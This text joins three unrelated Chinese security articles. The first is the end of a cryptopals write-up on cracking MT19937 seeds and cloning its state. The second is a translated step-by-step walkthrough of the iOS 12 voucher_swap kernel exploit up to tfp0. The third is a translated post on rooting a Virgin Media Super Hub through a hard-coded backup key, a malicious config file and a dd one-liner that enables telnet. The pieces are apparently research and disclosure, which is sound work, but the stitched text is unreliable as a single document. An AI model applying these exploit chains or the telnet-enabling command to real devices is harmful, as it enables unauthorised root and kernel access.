这样我们就手动实现了MT19937
这里参考了中科院信工所发表的《梅森旋转算法安全性分析及改进》，想进一步了解的同学可以看看这篇论文
## 0x06
第22题
要求我们实现以下操作：
在40到1000之间随机等待几秒钟
使用当前的Unix时间戳作为种子
再次等待随机秒数。
返回种子、随机数
题目要求我们能够从输出中破解得到种子
题目还提示我们可以模拟时间，从而避免真的要等待一段随机的时长
第一个函数要实现题目要求我们做的操作
我们就是要逆向破解得到这个函数返回的随机数。随机数在rng.extract_number()
将该值作为参数传入破解种子的函数
这里的破解其实很简单，就是不断地测试、改变可能作为种子的时间戳，判断其生成的随机数是否等于第一次生成的随机数，如果是，则说明找到了正确的种子，返回即可
完整的代码及测试如下
第一行是原种子，第二行是我们暴力破解得到的种子。在实际运行时，会发现过了一会儿才会打印出第二行的结果，这是因为程序正在跑crack_mt19937_seed
## 0x07
第23题
有三个关键的点需要把握住：
1. 要知道MT 19337完整的内部状态由624个32位整数组成，如果可以克隆这些整数，则可以预测RNG之后生成的数
2. 内部状态中的每个整数都按顺序直接与RNG的输出一一对应。
3. 内部状态中的每个整数与输出的随机数的对应关系是可逆的关系。换句话说，给定了RNG的输出，我们可以逆向得到与之相关联的内部状态中的整数
综合以上三点，如果我们逆向得到了组成状态的624个整数，只需将这个状态复制到自己的MT 19937
RNG中，就可以得到原RNG的一个有效的克隆，可以预测之后的“随机数”
RNG的输出是容易拿到的，关键是怎么得到内部状态。题目提示我们生成随机数的temper函数是可逆的（就是我们在前面代码中写的extract_number函数，为了与题目相统一，接下来一律称为temper），我们写一个untemper函数，接收MT19937输出并将其转换回MT19937状态数组的相应元素即可。要逆向temper所做的事情，我们需要按照相反的顺序实现temper中的每个操作的逆操作。temper中有两种操作，每种操作应用了两次，一个是对右移值（right-shifted）的XOR，另一个是对左移（left-shifted）值的XOR，并与一个幻数进行与运算，我们只需要逆着实现就可以了
先写两个逆操作的函数
然后在untemper中调用即可
接下来就是克隆一个新的RNG
新的RNG克隆了与原RNG相同的状态
然后在main中分别使用两个RNG生成随机数，便于比较
完整代码及测试结果如下
可以看到两个RNG的输出是相同的，或者换句话说，攻击者通过本题介绍的攻击方法，可以克隆得到一个新的RNG用于预测原RNG生成的随机数
## 0x08
第24题
题目要求实现:使用16位的种子传入MT 19937
RNG，生成的随机数作为密钥流。以该密钥流对明文加密（明文可以任意，可以加前缀、后缀)。然后暴力测试可能的密钥（16位的种子），对密文解密
题目没有指定加解密的算法，为了简单起见，我们指定加密算法为将RNG生成的密钥流与明文异或，这样解密和加密就是同样的操作了
暴力测试可能的密钥的函数如下
在main中构造任意明文，加密得到密文，然后调用find_mt19937_stream_cipher_key，经过暴力测试得到密钥，最后用得到的密钥对密文进行解密
三个print语句分别是用于打印暴力测试得到的密钥，和原密钥，以及使用暴力破解得到的密钥解密出的明文。
完整代码及测试结果如下
可以看到，暴力破解得到的密钥和原密钥是相同的，并且密文也被成功解密了。
参考：
1.https://cryptopals.com/sets/3
2.https://github.com/ricpacca/cryptopals
3.布鲁斯《应用密码学》（研究密码学必看，强烈推荐） | 社区文章 |
本文原文来自[From zero to tfp0 - Part 2: A Walkthrough of the voucher_swap
exploit](http://highaltitudehacks.com/2020/06/01/from-zero-to-tfp0-part-2-a-walkthrough-of-the-voucher-swap-exploit/)
在本文中将深入研究voucher_swap漏洞以及获取内核任务端口的所有步骤。
该漏洞的发现和POC都归功于[@_bazad](https://twitter.com/_bazad)。
([@S0rryMybad](https://twitter.com/S0rryMybad)也发现了这个漏洞并用在天府杯上：<https://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202.html>)
## 引用计数
本文中的漏洞是由于MIG生成的代码的引用计数问题造成的。什么是引用计数？引用计数是一种简单而有效的内存管理方式。创建或复制对象会将其引用计数加1，而销毁或覆盖对象会将其引用计数减1。如果对象的引用计数达到零，则将释放该对象。在内存有限的系统中，引用计数比垃圾回收(它是循环发生的，可能会耗费时间)更有效，因为可以在对象的引用计数为零时立即释放对象，从而提高了系统的整体响应能力。
对象结构体中的成员可以表示该对象的引用计数。例如，Mach端口(ipc_port_t)中io_references成员表示其引用计数，ip_references和ip_release用于增加和减少端口上的引用计数。简单搜索ip_reference将找到此函数用于操纵端口的引用计数的许多示例。
voucher也是一样的，其中iv_refs成员表示引用计数。
iv_refs的类型为os_refcnt_t，它是32位整数，因此其范围为0-0xffffffff(8个f)吗？其实并不是。在libkern/os/refcnt.c中，最大值定义为0x0fffffff(7个f)。这是一种新的防止整数溢出的缓解措施。
如下所示，访问超出此范围的任何值都会触发内核panic。
voucher的ipc_voucher_reference和ipc_voucher_release函数仅检查voucher是否不为NULL，然后调用iv_reference和iv_release，他们分别调用os_ref_retain和os_ref_release。
BUILD/obj/EXPORT_HDRS/libkern/os/refcnt.h中可以找到更多细节。
因此，可能会出现两种漏洞：一种是以某种方式增加引用计数，从而导致溢出。如前所述，由于存在上限，这实际上是无法利用的。但是仍然可以将引用计数增加到0x0fffffff(7个f)，稍后我们将使用此技术。另一种是将对象的引用计数设置为0，但是仍然有一个指向它的指针。由于引用计数变为0，对象将被释放，因此指向该对象的指针变成了悬空指针。
## 漏洞
让我们看一下该漏洞。查看xnu-4903.221.2/osfmk/kern/task.c中的task_swap_mach_voucher函数。这是一个简单的函数，它应该将新的voucher和旧的voucher交换。但是它只是用new_voucher替换了old_voucher。
根据注释，task_swap_mach_voucher函数是一个占位符。可在xnu-4903.221.2/osfmk/mach/task.defs中找到它。
这证明它实际上是Mach API，因为MIG
def文件正在为Mach接口生成代码。/BUILD/obj/RELEASE_X86_64/osfmk/mach/task.h中可以找到此函数的Mach消息格式。
/BUILD/obj/RELEASE_X86_64/osfmk/RELEASE/mach/task_server.c中可以看到对请求执行的检查。
下面是实际的实现。
简化一下。
convert_port_to_voucher函数通过调用ipc_voucher_reference函数将引用计数增加1。
convert_voucher_to_port函数通过调用ipc_voucher_release函数将引用计数减少1。
在task_swap_mach_voucher例程中，通过调用ipc_voucher_release函数(第4844行)将新voucher的引用计数减1。
此例程中引用计数的变化如下。
第4839行: new_voucher的引用计数+1
第4841行: old_voucher的引用计数+1
第4843行: task_swap_mach_voucher调用，old_voucher = new_voucher
第4844行: new_voucher的引用计数-1
第4857行: new_voucher的引用计数-1(因为old_voucher现在是new_voucher)
你可能已经看出问题了。可以将new_voucher的引用计数减少为0，从而释放该对象。并且old_voucher的引用计数可以增加很多。如果存储指向new_voucher的指针，然后使用漏洞将new_voucher的引用计数减少为0，这样就有可能获得指向new_voucher的悬空指针。
## 关于voucher
在继续之前，最好先查看ipc_voucher结构体并了解其中的成员。
第一件事是确定要在哪个对象中存储被释放的voucher的指针。最好的方法是在内核源代码中搜索ipc_voucher_t，并寻找易于获取和设置该指针的API。明显的地方之一是osfmk/kern/thread.h中的thread对象，该对象存储名为ith_voucher的voucher的引用。
可以使用thread_get_mach_voucher和thread_set_mach_voucher函数从用户态读取和写入voucher引用。查看MIG为该函数生成的代码。
一旦获得了指向已释放voucher对象的悬空指针，便可以使用其他对象占用已释放的voucher对象。但是这并不简单。voucher通常位于自己的ipc
voucher zone中，如osfmk/ipc/ipc_voucher.c所示，其中zinit为voucher分配了一个新zone。
因此，被释放的voucher的内存将被放置在zone的freelist中，并在创建新voucher时分配给新voucher。为了用其他对象占用，唯一可行的方法是触发zone垃圾收集，它会将被释放的voucher的内存(最小大小为1页)移到zone
map中，然后这些内存就可以重新分配给其他对象。可以通过分配大量voucher并释放它们来做到这一点。
让我们再次仔细查看MIG为thread_get_mach_voucher生成的代码。假设我们确实用其他对象占用了已释放的voucher对象，则调用thread_get_mach_voucher应该成功而内核不会panic。在第2688行的thread_get_mach_voucher函数调用ipc_voucher_reference(voucher)，这意味着该voucher应该具有有效的iv_refs成员。
在第2695行的convert_voucher_to_port函数如下所示。
在第503行首先检查voucher是否具有正确的引用计数。然后在第507行检查voucher端口的有效性。如果无效，则会分配一个新的voucher端口。这很棒，因为在分配伪造的voucher占用已释放的voucher时，如果以某种方式将iv_port指针设置为NULL，那么实际上还可以将新分配的voucher端口(IKOT_VOUCHER)返回到用户态(ith_voucher->iv_port)。这将使我们能够进一步操纵voucher。
## 通过OOL端口描述符进行堆风水
正如在第1部分中简要讨论的那样，复杂的Mach消息具有一个描述符成员，该成员有四种类型。
* MACH_MSG_PORT_DESCRIPTOR：在消息中发送一个端口
* MACH_MSG_OOL_DESCRIPTOR：在消息中发送OOL数据
* MACH_MSG_OOL_PORTS_DESCRIPTOR：在消息中发送OOL端口数组
* MACH_MSG_OOL_VOLATILE_DESCRIPTOR：在消息中发送易失性数据
当通过mach_msg发送Mach消息时依次调用mach_msg_send->ipc_kmsg_copyin->ipc_kmsg_copyin_body，在ipc_kmsg_copyin_body函数中对于MACH_MSG_OOL_PORTS_DESCRIPTOR的情况会调用ipc_kmsg_copyin_ool_ports_descriptor函数。
第2879行调用kalloc在kalloc
zone中分配内存。第2902行将得到的内存转换为objects对象，该对象是端口指针的数组。因此使用OOL端口描述符发送大量Mach消息，可以使用有效指针或0xFFFFFFFFFFFFFFFFFF(MACH_PORT_DEAD)或0x0000000000000000(MACH_PORT_NULL)填充kalloc
zone。
## 管道缓冲区
管道是xnu中另一个用于IPC的系统调用。它创建一个分配一对文件描述符并允许单向数据流的管道。数据流经的缓冲区称为管道缓冲区。可以从缓冲区的读取端读取写入缓冲区的写入端的数据，但是并不能反过来。基本上你可以在同一地址空间中进行读写。另一个重要的事情是它占用内核虚拟地址空间，因此是在堆中分配内存的有用原语。默认情况管道缓冲区的大小设置为最大16384字节，所有管道缓冲区的大小设置为最大16MB。
如果数据已被写入管道缓冲区并且管道缓冲区已满，则认为该管道缓冲区已阻塞。要释放该管道缓冲区必须从中读取数据。可以通过分配许多管道缓冲区并将数据写入其中来利用管道缓冲区进行喷射。可以创建的管道总数是16MB除以16384字节，即1024。
管道缓冲区的优势在于，如果能够获得指向其中一个管道缓冲区的指针并读取其值，则基本上可以识别出是这1024个管道缓冲区中的哪个，然后就可以在这个特定的管道缓冲区中重新分配数据。
有了足够的背景知识，让我们详细介绍一下EXP吧。
## EXP
如果还没有下载voucher_swap EXP代码的话可以在[这里](https://bugs.chromium.org/p/project-zero/issues/detail?id=1731#c10)下载以便阅读接下来的内容。
#### Step 1:为voucher创建一个单独的线程
创建一个单独的线程，我们将在其中存储指向voucher的指针。该线程有一个ith_voucher成员，可以在其中保留对voucher的引用。
#### Step 2:创建喷射管道缓冲区用的管道
创建喷射管道缓冲区用的管道。前面提过，可创建的管道总数为1024。之后我们会看到其中一个管道对应的管道缓冲区将与fake port重叠。
#### Step 3:喷射端口
我们需要喷射许多端口。它们将占用现有的空洞，并迫使内核从zone
map中分配新块。在此之后喷射管道缓冲区时，我们将假定它们位于端口的后面。根据反复试验，将filler_port_count设为8000。base
port是使用create_ports创建的最后一个端口。记住这一点，因为将在第8步中用到。对于前2000个端口还增加了队列限制，该限制是可以立即发送到端口的最大消息数。这样做的原因是我们将使用OOL端口描述符向这些端口发送消息占用已释放的voucher，因此能够向这些端口发送更多的消息将有助于喷射。
#### Step 4:喷射管道缓冲区
接下来喷射管道缓冲区，希望它们刚好在端口后面。
将ipc_port写入管道缓冲区，将其12位的IKOT_TYPE设置为管道索引。具体步骤如下。
回调函数update调用iterate_ipc_ports。
iterate_ipc_ports给回调函数callback传递端口的偏移量。
在回调函数callback中使用端口的偏移量找到端口设置相应的成员(可以在Step 4第一张图中看到)。
#### Step 5:使用voucher喷射堆
接下来用voucher喷射堆并选择一个最终将被释放的voucher(uaf_voucher_port)。如前一篇文章所述，内存是从zone
map中以块为单位获取的。对于特定的版本，一个块的大小是固定的(iPhone11,8
16C50的ipc_voucher是0x4000)。由于voucher的大小也是固定的(0x50)，因此块中的voucher的数量也是固定的(0x4000/0x50=80)。我们将分配额外的块，在这些块中存储uaf_voucher_port。前300个voucher基本上可以填补内存中的空洞。然后将voucher喷射入约16个块，把uaf_voucher_port放到第7块-第10块，前后各有6个过渡的块。之后我们会看到这些块被OOL端口指针覆盖。
#### Step 6:继续喷射
接下来使用之前创建的端口喷射更多的内存。以后可以释放它以触发垃圾回收。我们已经创建了填充端口，并在前2000个端口上增加了队列限制。这时将前500个端口再次用于喷射。
#### Step 7:存储指向voucher的指针但释放引用
由voucher_release函数释放引用。实际上EXP创建了两个类似的函数，用于释放引用(voucher_release)和增加引用(voucher_reference)，它们都是对voucher_tweak_references的包装，后者是对task_swap_mach_voucher的包装。漏洞在于task_swap_mach_voucher，该函数的参数是当前任务，新voucher(引用将被释放)和旧voucher(引用将被增加)。因此如果要释放一个voucher的引用，只需将其作为参数传递给新voucher，并且可以将旧voucher设置为MACH_PORT_NULL。反之如果要增加一个voucher的引用，只需将其作为参数传递给旧voucher，并且可以将新voucher设置为MACH_PORT_NULL。
#### 步骤8：创建将覆盖释放的voucher的OOL端口指针
现在需要创建将覆盖释放的voucher的OOL端口指针。EXP选择kalloc.32768
zone，因为BLOCK_SIZE(ipc_voucher)=0x4000，因此将更容易预测voucher的偏移量。端口指针的数量是根据zone大小除以uint64_t的大小(即端口指针的大小)得到的。然后，调用calloc分配具有端口指针的数组，每个端口指针的大小为mach_port_t，初始为0。iterate_ipc_vouchers_via_mach_ports函数用于遍历端口指针(该函数把它们当成voucher)，并使用回调函数给出voucher的偏移，然后将voucher的iv_refs指向base
port。之所以使用ool_ports[voucher_start+1]，是因为iv_refs位于voucher的起始位置+0x8。还通过calloc将iv_port设置为MACH_PORT_NULL，以便以后调用thread_get_mach_voucher时获得一个新的voucher端口。
#### 步骤9：释放第一次GC喷射
#### 步骤10：释放先前创建的voucher，从而留下一个悬空的指针
#### 步骤11：用OOL端口占用释放的voucher
第6步在前2000个端口上增加了队列限制并且将前500个端口再次用于喷射。现在对其它端口进行喷射，直到总喷射量达到内存容量的17％。ool_holding_ports指针从索引500(gc_port_count)开始，因为已经使用了500个。同时也使分配的内存大小为32768以便分配在kalloc.32768
zone中，这是通过保留每个消息的端口指针的数量来完成的(ool_port_count=ool_port_spray_kalloc_zone/sizeof(uint64_t)，其中ool_port_spray_kalloc_zone=32768)，顺利的话就能够占用释放的voucher。
ool_ports_spray_size_with_gc在每2MB(gc_step)喷射之间添加usleep()，以留出时间进行zone垃圾收集。
这些端口中的每一个都使用带有OOL端口描述符的Mach消息进行喷射。这将分配内核内存，并用端口指针填充它们。ool_ports_spray_port中的以下代码用于分配参数和发送消息。
#### 步骤12：调用thread_get_mach_voucher以获取已释放voucher的voucher端口
如果base port的地址足够小，内核会认为引用计数仍然有效，调用thread_get_mach_voucher不会导致内核panic。
现在内存布局如下图所示。
#### 步骤13：更改iv_refs以指向管道缓冲区
可以使用相同的漏洞(这次是增加引用)修改iv_refs值。iv_refs现在是指向base
port的。因为喷射了大约16MB的管道缓冲区，将其增加4MB(base_port_to_fake_port_offset)之后应该指向管道缓冲区中的某个地方。
#### 步骤14：找到uaf_voucher_port
接收先前使用OOL端口描述符发送的消息。我们遍历消息中的所有描述符，然后将它们传递到将起始端口地址和端口总数作为参数的处理程序。然后使用iterate_ipc_vouchers_via_mach_ports遍历所有这些端口指针，通过将所有端口指针的大小除以voucher大小来给出所有可能的voucher地址。遍历端口指针时检查ool_ports[voucher_start+7]
(即iv_port，iv_port在voucher结构体中的偏移为56)是否是一个有效的端口。因为只在uaf_voucher_port上调用了thread_get_mach_voucher，所以它的iv_port指向新分配的voucher端口。这样就可以找到uaf_voucher_port。将ool_ports[voucher_start+1]
(即iv_refs，iv_refs在voucher结构体中的偏移为8)指向fake port。
#### 步骤15：查找与fake port重叠的管道缓冲区
接下来需要查找与fake port重叠的管道缓冲区。使用mach_port_kobject得到fake
port的IKOT_TYPE，这个值应该是管道的索引。
#### 步骤16：清理未使用的内存
#### 步骤17：设置原语以查找base port的地址
现在的任务是创建这个fake port，以便可以使用pid_for_task()技术读取4个字节的内核内存。本文的第1部分中讨论了这种技术。
将mach api调用mach_port_request_notification()发送到fake port，以添加一个请求：如果该fake
port变为MACH_PORT_DEAD则将通知base port。这将导致fake port的ip_requests指向包含指向base
port地址的指针的数组。
#### 步骤18：查找base port的地址
遍历整个缓冲区，查看每个可能的端口的ip_requests，如果不为0，就说明找到了fake port。保存fake
port在管道缓冲区中的偏移。然后将数据写入管道以便稍后可以读取。
#### 步骤19：查找base port的地址
可以找到base port指针的地址，因为它位于ip_requests固定偏移处。接下来需要从base port指针中读取base port的地址。
stage0_read是一个非常方便的函数，能够一次读取32位的内核内存。基本上步骤如下。
1.在管道中创建一个fake port，设置所有必需的属性，将IKOT设置为IKOT_NONE
2.根据要读取的地址设置伪造的proc的地址(即bsd_info)，在stage0_send_fake_task_message创建fake
task并通过Mach消息将其发送到fake port
3.读取管道，从fake port的ip_messages.imq_message得到fake task的地址
4.重写fake port，将IKOT设置为IKOT_TASK，kobject设置为fake task的地址
5.调用pid_for_task读取内核内存
(这里参考TyphoonCon上的PPT：)
#### 步骤20：计算fake port的地址
知道了base port地址和从base port到fake
port的偏移量(在步骤3中已定义为base_port_to_fake_port_offset)，因此可以计算出fake port地址。
#### 步骤21：计算自己的任务端口的地址
现在创建一个更好的读取原语并将其称为阶段1。下一步是计算自己的任务端口的地址。stage1_find_port_address函数将输入作为任务，并使用阶段1的读取原语获取任务端口的地址。
#### 步骤22：获取主机端口的地址
为了实现完整的内核读写，需要找到vm_map和ipc_space_kernel。首先获取主机端口地址。
#### 步骤23：从主机端口的ip_receiver获取ipc_space_kernel
第1部分中讲过ipc_port结构体具有一个指向ipc_space的receiver成员。可以通过读取主机端口ip_receiver(ip_receiver即receiver)成员来读取ipc_space_kernel。
#### 步骤24：获取内核任务端口的地址
在堆中内核任务端口靠近主机端口，因此可以迭代该块找到内核任务端口。
以下函数检查端口是否为内核任务端口。首先查看是否为IKOT_TASK类型。然后读取kobject指向的任务，在该任务中查找bsd_info以查找其指向的proc结构体，然后读取pid值。如果为0，则表示它是内核任务端口。
#### 步骤25：获取vm_map的地址
现在已经找到了内核任务端口，可以读取vm_map，因为它处于固定偏移处。
#### 步骤26：创建伪造的内核任务端口
现在可以创建一个位于管道缓冲区内的伪造的内核任务端口。
伪造的内核任务端口的原则是伪造的任务的map应指向vm_map，而receiver应指向ipc_space_kernel。可以通过以下两行代码实现。
#### 步骤27：创建伪造的内核任务端口
现在有了一个功能齐全的内核任务端口，并且可以调用Mach
API来读写内存，是时候构建一个更稳定的内核任务端口了。这次通过mach_vm_allocate分配内存，甚至在管道缓冲区之外也可以创建内核任务端口。
#### 步骤28：清理不需要的资源
#### 步骤29：清理更多不必要的资源，得到稳定的tfp0
完成！现在能够进行完整的内核读写。
## 总结
在这篇文章中，我们讨论了[@_bazad](https://twitter.com/\\_bazad)发现的voucher_swap漏洞，并解释了iOS12上获得tfp0的步骤。在接下来的文章中，我们将着眼于Undecimus越狱和所有需要成功越狱iOS设备的步骤。
## 参考文献
1.Project Zero Issue tracker - <https://bugs.chromium.org/p/project-zero/issues/detail?id=1731>
2.iOS 10 - Kernel Heap Revisited -<https://gsec.hitb.org/materials/sg2016/D2%20-%20Stefan%20Esser%20-%20iOS%2010%20Kernel%20Heap%20Revisited.pdf>
3.Mac OS X Internals: A Systems Approach - <https://www.amazon.com/Mac-OS-Internals-Approach-paperback/dp/0134426541>
4.MacOS and iOS Internals, Volume III: Security & Insecurity:
<https://www.amazon.com/MacOS-iOS-Internals-III-Insecurity/dp/0991055535>
5.CanSecWest 2017 - Port(al) to the iOS Core -<https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core> | 社区文章 |
# 【技术分享】黑入Virgin Media Super Hub
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[长长长性](http://bobao.360.cn/member/contribute?uid=648327914)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**引言**
Context的研究团队过去曾经研究过大量现成的家用路由器，发现其安全状况几乎普遍堪忧。然而，来自大型ISP（如BT，Sky和Virgin
Media）的旗舰路由器却没有受到路由器各种漏洞的影响。是否这些路由器比其他路由器更加安全？我们决定利用一些公共研究时间，对部分设备一探究竟。
针对办公室的一次调查显示， Virgin Media用户占大多数，所以我们把目标锁定在Super Hub。研究期间（2016年10月），Super
Hub（SH）的最新版本是SH2AC（VMDG490）。同时，鉴于SH2（VMDG485）的普及，我们也对SH2进行了测试。本博客详细介绍了漏洞研究的方法和发现，其中包括如何从局域网获得root权限。
**
**
**漏洞研究方法**
根据被评估产品类型的不同，Context的的产品安全评估通常遵循以下几个步骤：
确定可利用的攻击面，包括网络接口，输入设备和USB等外部端口。为了节省时间，我们采取通过管理界面进行命令行注入。
了解设备上运行的软件。这包括任何开源组件、固件（如果提供，尝试从供应商处获取），各种组件的版本号，并检查对应版本号现有的CVE漏洞。
全面分析硬件（如果需要提取固件的话），包括识别调试接口，了解存储设备（例如NAND闪存模块）的类型和规格。
漏洞研究和利用。利用产品开源部分或者固件部分尝试在设备上获得未经授权的代码执行。
我们很快发现，Super Hub已经对Web管理界面进行了安全测试——似乎很好的过滤了输入。这是标准家用路由器一个令人耳目一新的变化。
我们决定对运行的软件进行更详细的分析。由于Super Hub 2和2ac都由Netgear制造，故所有GPL组件的源码均可从该网站获得。
虽然源代码有助于了解Hub上运行的内容，但关于这些设备内部运作的具体信息我们仍然知之较少。因为固件更新过程完全自动化，并且明智地使用了安全通道。这意味着，为了进行分析，我们需要查看硬件才能检索出具有代表性的固件映像。
**获取固件映像**
使用3.3v
USB转串口（实现计算机USB接口到通用串口之间的转换）适配器连接到大多数家用路由器的串行接口非常简单，在这里不再强调。只需要几个UART（通用异步收发传输器）接口：一个用于主要的SoC芯片（System-on-Chip）——基于ARM的Intel Puma V，另一个用于Atheros的无线芯片（AR9344）。
粗略来看，Atheros芯片相当稀疏，我们转向主要的SoC芯片。虽然可以看到U-Boot系统引导的输出，但“取消自动引导”功能已被禁用，这意味着我们无法与引导程序进行交互。
下面的截图显示了初始的u-Boot输出。
这种配置会阻止大多数人继续下去，很明智。但是我们喜欢打破砂锅问到底，所以我们思考如何不花费太多的时间和精力中断引导程序。图1中的输出表明U-Boot正在执行一个引导脚本，这正是我们需要分析的。
第一步是通过读取闪存获取引导程序的副本。棘手的是不能通过软件输入字符串，所以我们启动了热风枪，并拆除了Spansion（S25FL129P）NAND闪存芯片。
从闪存芯片中读取数据的方法有很多种，稍后会在另一篇博客中详细介绍。在本例中，由于作为首选的I2C
/SPI（串行外设接口）读写器在另一个办公室，所以我们使用BeagleBone Black和Python来手动驱动芯片的SPI总线，如下图所示。
既然有了一个32MB的映像文件，我们可以看到U-Boot引导程序的所有内容。
Super Hub 2和2ac均使用U-Boot脚本来执行引导过程的第二阶段，初始化并运行Linux内核。通过对映像文件中的U-Boot脚本进行稍微改动，我们可以将内核输出重定向到UART连接，并强制引导程序退出，从而启用U-Boot控制台。一旦修改成功，闪存芯片会被重新焊接到板上。这对Super Hub 2可行。但对于Super Hub
2AC，引导程序在NAND和NOR两个芯片上运行，需要U-Boot控制台额外给第二阶段内存中的部分加载程序打补丁，包括在引导程序执行之前修复几个校验和。
最后，通过U-Boot控制台修改内核命令行参数，以通过串行电缆启用详细的内核引导消息。
**识别漏洞**
现在我们已经能够通过UART接口访问固件映像和内核调试器的输出，便可以进一步检查服务于Web管理界面的cgi-bin二进制文件。这些二进制文件用来实现用户通过Web界面提交的请求，例如添加防火墙规则或ping
IP地址。而这些请求容易受到命令注入的攻击。在对这些Web管理界面进行了相当详细的审查之后，我们证实了之前的猜想：输入已被适当过滤。正当我们想要放弃这一审查方式时，我们看看了备份和还原机制。
备份/还原界面用于获取用户对Super
Hub自定义配置设置的副本，例如防火墙或端口转发规则。以便用户稍后将此配置文件重新提交给路由器时恢复设置。在设备需要进行出厂设置时，省去了大量手动重新配置，非常有用。此功能有趣的一点在于它会直接上传攻击者控制的数据（一个恶意的配置文件）到Super
Hub进行解析。
为了查看数据格式并构造恶意的配置文件，我们从Super
Hub抽取了一个配置文件。导出后，我们发现文件被加密了，并且包含120KB的无结构二进制数据，熵接近于1。随着兴趣被激起，我们决定进一步调查。
负责加密和解密配置文件blob的二进制文件libunihan_utilities.so包含两个函数：des3_encrypt_backup和des3_decrypt_backup。该库根据OpenSSL进行编译，并在进行路由器的收/发时，使用DES_ede3_ofb64_encrypt函数执行blob的三重DES加解密。致命的是，用于此过程的密钥在二进制文件中是硬编码的，这意味着，通过使用密钥和算法的知识，我们能够编写一个小型C语言程序来解密从Super
Hub抽取到的配置文件blob。
一旦我们拥有一个解密的配置文件blob，接下来尝试识别文件类型。使用xxd和head提取出该文件的前几个字节，显示备份文件似乎是一个开头附加了未知数据的TAR文件。利用强大的Binwalk工具进一步确认这是一个TAR文件，偏移量为0x4。
对文件VmRgBackupCfgCgi进行逆向后，我们发现该二进制文件负责处理上传到服务器的配置文件，前4个字节是紧随其后的TAR文件的CRC-32校验和。TAR文件似乎是非易失性RAM（或NVRAM）的部分备份。这是嵌入式设备存储配置信息的常用方法。该文件包含敏感信息的各种字段，例如Web管理界面的凭据。稍后我们会对该内容进行更加详细的讨论。
当我们掌握了TAR文件和CRC32校验和后，我们需要制作自己的备份文件，这些文件能被路由器接收和解析。
此时，我们知道如何构建一个有效的配置文件blob并把它交由路由器处理，但实际上我们能做些什么？回溯到VmRgBackupCfgCgi，它告诉我们该文件是如何被处理的，这是我们漏洞的出发点。一旦配置文件有效，运行以下命令将路由器上的/var/tmp/backup_var打包成Tar文件：
tar -xf /var/tmp/backup_var -C /
该命令非常强大。它会以root身份，将我们提交到Super
Hub文件系统根目录下的TAR文件进行解压缩，就像是任意文件的写/覆盖操作。虽然该命令的主要作用不在此，但这个功能反而经常被使用。所有被覆盖的配置文件包含在/nvram文件夹下。那么可以覆盖什么呢？乍看之下，我们可以进行任意的文件覆盖，但实际上有一些限制。大部分的Super
Hub文件系统被挂载为只读squashFs（一套基于Linux内核使用的压缩只读文件系统）。当Super Hub运行时，只有少数几个有趣的区域是可写的：
/nvram
/var
/tmp (/var/tmp的符号链接)
/etc文件夹下的一些文件 (实际上是/tmp的符号链接)
在文件系统的这些可写部分中，需要找到一个我们可以写/覆盖的文件，让我们进一步访问路由器。幸运的是，在/etc/init.d/we中，我们发现启动脚本rcS是一个不错的选项。
Super
Hub路由器使用rcS文件启动重要的服务，如设置内核参数和系统设置。该脚本在每次路由器启动时调用。在脚本的各种功能之中，有一部分吸引了我们的注意：
这一部分检查文件/nvram/0/sys_setup.sh是否存在，如果存在，则执行该文件。但Super
Hub的固件中不包含此文件，因此进入“else”子句，执行几个服务启动命令。这部分脚本非常有用。我们对 /nvram
具有写入权限，而且为保证每次启动后的可靠执行，重新启动后也是如此。现在我们可以将任意的文件写入脚本的其余部分（可能来自调试或个人系统定制），以完全控制Super
Hub。
为了利用这个缺陷，我们创建一个/nvram/0/的本地目录，并在其中创建sys_setup.sh文件。然后对其进行压缩、CRC32检验、加密，以创建有效的配置文件备份。一旦提交到路由器，它将被解密、验证，然后解压到文件系统的根目录。作为备份/复原过程的一部分，Super
Hub的重启会很好的帮助脚本的执行。为了测试我们的理论，我们创建了一个删除防火墙规则的脚本，并编写了一个C程序对其进行打包备份。如下所示上传成功。
等待系统完全启动后，我们重新扫描Super
Hub，看看我们对防火墙规则的修改是否具有预期的效果（见下图）。值得一提的是，这是局域网的端口扫描——因为我们实验室没有有线广域网的连接，但telnet守护进程正在监听所有接口。
尝试连接发生了异常。刚建立与Super Hub的连接，在没有任何提示之前连接又被释放。我们转向定制的utelnetd二进制文件来查找原因。
utelnetd是一个小型二进制文件，它实现了telnet协议，并将一个外部TCP流连接到一个内部程序。该内部程序在Super
Hub上默认为/bin/sh。Super
Hub已经对该默认的开源版本进行了修改，以添加一些新功能。逆向该二进制文件查找接受连接的位置，我们可以看到其中一个修改：
反汇编中的第一个基本块显示Super
Hub通过调用库函数accept（）接受连接。第二个基本块是代码被修改的地方。基于函数调用（BLX指令）的返回值决定连接是继续还是终止。调用该函数核查某种内部状态，看看是否允许telnet访问。具体检查什么？有什么办法可以从我们的脚本中修改这个设置？
答案存在于从utelnetd导入的共享库中。这个共享库大部分是帮助函数，这些帮助函数获取和设置Super
Hub的各种持久参数。进一步的逆向表明，它实现了一个内存中的数据库，在启动时从/nvram目录下的一系列配置文件中读取设置，并不受重启/关机过程的影响。如前所述，/
nvram目录由一系列编号的目录和文件组成，是合法的备份。事实证明，每个文件都是TLV编码。
下图中，我们可以看到一些熟悉的字符串，如我们的管理用户名和密码。
上面的图片显示了其中一个配置文件的部分内容，具体支持ManagementDb（其他文件支持其他方面，例如PortForwardingDb，MacFilteringDb等）。每个文件以28字节的头文件（红色）开始，之后是一系列TLV（Type-length-value类型长度值）编码。在这种情况下，“type”指定记录号（绿色）。
其次是“length”值（绿色），type和length都是2字节。最后是指定字节长度的”value”字节（橙色）。每条记录都记录了Super
Hub某一方面详细的配置信息。对/nvram文件夹下各种二进制文件的逆向之后，我们知道第10条记录用来标记telnet访问是否可用。它是一个单字节值，0为禁用telnet，1为启用telnet。
在系统启动时，首先读取配置文件，然后在内存中管理Super
Hub的运行时间。如果我们可以在启动nvram服务之前翻转启用telnet的字节（0转为1），那么我们可以为设备启用telnet。可以在恶意脚本中插入以下内容实现这一点：
printf ‘x01’ | /bin/dd of=/nvram/9/5 bs=1 seek=534 count=1 conv=notrunc
它会强制开启telnet访问，删除防火墙后，我们甚至可以在任何接口上连接到telnet服务。最后使用从配置文件中收集到的凭据，我们得到了root
shell：
**
**
**泄露**
这些问题一经发现，Context便将其报告给Virgin Media，并提供了Poc。Virgin
Media在验证了我们的发现后，与我们合作开发了一套缓解措施，并将其作为现有固件周期补丁的一部分发布出来。感谢Virgin
